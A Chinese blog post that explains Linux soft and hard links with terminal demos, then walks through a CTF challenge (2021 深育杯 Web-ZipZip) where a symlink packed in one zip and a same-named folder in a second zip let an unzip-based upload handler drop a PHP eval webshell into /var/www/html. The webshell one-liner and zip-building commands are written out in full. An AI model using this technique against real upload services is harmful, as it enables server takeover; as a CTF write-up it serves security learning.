软链接连接目录
什么是软链接?<br /> 软连接是linux中一个常用命令,<br /> 它的功能是为某一个文件在另外一个位置建立一个同步的链接。<br /> 软连接类似与c语言中的指针,传递的是文件的地址;<br /> 更形象一些,软连接类似于WINDOWS系统中的快捷方式。<br /> 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。<br /> 通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。<br />
软链接创建方式:ln -s [target] [link_name]
和软链接相对应的有硬链接,和软链接相比,硬链接不仅仅是一个指向目标文件(文件夹)的快捷方式,里面同时还有具体的文件内容,相当于将文件复制了一份.但是和简单的复制文件不同的是,源文件和硬链接会同步变化,如下示例:<br />root@VM-0-7-ubuntu:~/h0cksr1# ls ../h0cksr2<br />root@VM-0-7-ubuntu:~/h0cksr1# touch ../h0cksr2/h0cksr.txt<br />root@VM-0-7-ubuntu:~/h0cksr1# echo this_is_a_test > ../h0cksr2/h0cksr.txt <br />root@VM-0-7-ubuntu:~/h0cksr1# cat ../h0cksr2/h0cksr.txt <br />this_is_a_test<br />root@VM-0-7-ubuntu:~/h0cksr1# ln -s ../h0cksr2/h0cksr.txt link1<br />root@VM-0-7-ubuntu:~/h0cksr1# ln ../h0cksr2/h0cksr.txt link2<br />root@VM-0-7-ubuntu:~/h0cksr1# ls -al<br />total 12<br />drwxr-xr-x 2 root root 4096 Nov 16 13:06 .<br />drwx------ 12 root root 4096 Nov 16 13:03 ..<br />lrwxrwxrwx 1 root root 21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt<br />-rw-r--r-- 2 root root 15 Nov 16 13:05 link2<br />root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2<br />link1: symbolic link to ../h0cksr2/h0cksr.txt<br />link2: ASCII text<br />root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2<br />this_is_a_test<br />this_is_a_test<br />root@VM-0-7-ubuntu:~/h0cksr1# echo This_is_a_new_test_look_what_will_change > link2<br />root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2<br />This_is_a_new_test_look_what_will_change<br />This_is_a_new_test_look_what_will_change<br />root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2<br />link1: symbolic link to ../h0cksr2/h0cksr.txt<br />link2: ASCII text<br />root@VM-0-7-ubuntu:~/h0cksr1# ls -al<br />total 12<br />drwxr-xr-x 2 root root 4096 Nov 16 13:06 .<br />drwx------ 12 root root 4096 Nov 16 13:03 ..<br />lrwxrwxrwx 1 root root 21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt<br />-rw-r--r-- 2 root root 41 Nov 16 13:10 link2<br />root@VM-0-7-ubuntu:~/h0cksr1# ln /root can_not_link_to_dir<br />ln: /root: hard link not allowed for directory<br />root@VM-0-7-ubuntu:~/h0cksr1# <br />
利用软链接目录穿越:<br />root@VM-0-7-ubuntu:~# cd /tmp<br />root@VM-0-7-ubuntu:/tmp# mkdir /root/h0cksr<br />root@VM-0-7-ubuntu:/tmp# ln -s /root/h0cksr/ link<br />root@VM-0-7-ubuntu:/tmp# ls -l<br />lrwxrwxrwx 1 root root 13 Nov 16 13:17 link -> /root/h0cksr/<br />root@VM-0-7-ubuntu:/tmp# touch shell.php<br />root@VM-0-7-ubuntu:/tmp# echo '<?php phpinfo();eval($_POST[0]);?>' > shell.php<br />root@VM-0-7-ubuntu:/tmp# cat shell.php <br /><?php phpinfo();eval($_POST[0]);?><br />root@VM-0-7-ubuntu:/tmp# mv shell.php link/shell.php<br />root@VM-0-7-ubuntu:/tmp# ls link<br />shell.php<br />root@VM-0-7-ubuntu:/tmp# ls /root/h0cksr<br />shell.php<br />root@VM-0-7-ubuntu:/tmp# cat /root/h0cksr/shell.php <br /><?php phpinfo();eval($_POST[0]);?><br />root@VM-0-7-ubuntu:/tmp# <br />
可以看到,文件shell.php上传到软链接后,在软链接对应的的源文件夹里面发现确实有一个shell.php,突破了只能在tmp文件夹上传文件的限制
题目参考:2021深育杯Web-ZipZip
利用场景:
文件上传路径受到限制php<br />upload.php<br /><php?<br />function unzip_file(string $zipName,string $dest){<br />//检测要解压压缩包是否存在<br />if(!is_file($zipName)){<br />return false;<br />}<br />//检测目标路径是否存在<br />if(!is_dir($dest)){<br />mkdir($dest,0777,true);<br />}<br />$zip=new ZipArchive();<br />if($zip->open($zipName))<br />$zip->extractTo($dest);<br />$zip->close();<br />return true;<br />}else{<br />return false;<br />}<br />}<br /><br />$zip_file=$_FILE['file']['tmp_name'];<br />$dest='/tmp';<br />if(strstr($zip_file,'.')=='.zip'){<br /> unzip_file($zip_file,$dest);<br />}<br />else{<br /> die('Just Zip');<br />}<br />?><br />
可以通过以下步骤构造zip文件上传<br />ln -s /var/www/html/ h0cksr #创建指向html的软链接<br />zip --symlinks h0cr1.zip h0cksr #将软链接h0cksr打包到h0cksr1.zip中上传<br />touch shell.php<br />echo '<?php eval($_POST[0]); ?>' > shell.php<br />mkdir h0cksr #创建一个和软链接同名的文件夹<br />mv shell.php h0cksr/shell.php #将shell.php文件上传到和软链接同名的文件夹中<br />zip -r h0cksr2.zip h0cksr #将h0cksrwe文件夹打包到h0cksr2.zip压缩包中上传<br />
按以上步骤执行后shell.php文件将会上传在/var/www/html目录中<br />第一个压缩包h0cksr1.zip上传了一个名为h0cksr的指向/var/www/html的软链接<br />第二个压缩包h0cksr2.zip上传了一个名为h0cksr的文件夹,文件夹里面有一个shell.php文件<br />上传h0cksr文件夹后,shell.php所在位置为:/tmp/h0cksr/shell.php<br />因为/tmp/h0cksr是指向/var/www/html的软链,所以shell.php文件就上传到了/var/www/html目录下<br />
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!